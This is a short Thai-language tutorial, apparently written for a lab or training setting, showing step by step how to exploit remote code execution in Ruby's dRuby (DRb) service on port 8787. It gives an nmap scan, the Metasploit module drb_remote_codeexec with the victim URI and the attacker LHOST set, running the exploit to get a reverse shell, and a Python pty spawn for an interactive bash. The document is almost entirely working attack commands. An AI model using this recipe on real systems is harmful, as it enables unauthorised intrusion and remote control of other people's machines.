บทนำ (Overview)
บทความนี้นำเสนอตัวอย่างการโจมตีช่องโหว่ของ dRuby ซึ่งสามารถทำให้เราสั่งการทำงานระยะไกลได้ (remote execution) โดยตัว dRuby เป็น object หนึ่งของ Ruby มีลักษณะเป็นโครงสร้างเป็นแบบกระจาย (Distributed) โดย โดยการใช้งานต้องเชื่อมต่อที่ URI druby://example.com ที่ port หมายเลข 8787 สามารถศึกษาเพิ่มเติมได้ที่ http://ruby-doc.org/stdlib-1.9.3/libdoc/drb/rdoc/DRb.html
ขั้นตอน (Steps)
- ค้นหา “Port” ที่เปิดบริการโดยใช้คำสั่งดังนี้
nmap -p 1-65535 -T4 -A -v 192.168.1.36
- ตรวจสอบ “Port” และ “Version” ของ “Ruby DRb RMI ” จากตัวอย่างคือ
8787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
- ค้นหา “Exploit” จาก “Metasploit”
msfconsole search DRb use exploit/linux/misc/drb_remote_codeexec show options
- ตั้งค่าดังนี้
//IP เหยื่อ set URI druby://192.168.1.36:8787 //IP ผู้โจมตี set LHOST 192.168.1.57
- ใช้คำสั่ง “exploit” เมื่อสำเร็จจะได้ “shell” ดังต่อไป
exploit python -c 'import pty;pty.spawn("/bin/bash")' id